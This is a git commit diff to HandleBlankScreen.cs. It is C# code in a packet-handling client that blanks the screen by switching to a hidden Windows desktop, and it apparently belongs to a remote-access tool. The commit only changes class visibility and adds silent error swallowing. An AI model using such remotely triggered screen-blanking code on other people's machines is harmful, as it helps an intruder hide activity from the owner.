Update HandleBlankScreen.cs
This commit is contained in:
parent
526cf5de0f
commit
4abe91b06b
@ -6,7 +6,7 @@ using System.Text;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
class HandleBlankScreen
|
||||
public static class HandleBlankScreen
|
||||
{
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
|
||||
@ -51,9 +51,10 @@ namespace Client.Handle_Packet
|
||||
|
||||
public static bool switcher = false; //the screen is not blanked be default so this should be false
|
||||
public static void RunBlankScreen()
|
||||
{
|
||||
try
|
||||
{
|
||||
//light switch logic CopyPasta by MrDevBot
|
||||
|
||||
if (switcher == false) //The current screen is NOT blanked and needs to be
|
||||
{
|
||||
SwitchDesktop(hNewDesktop);
|
||||
@ -67,5 +68,7 @@ namespace Client.Handle_Packet
|
||||
return; //returns to calling function
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user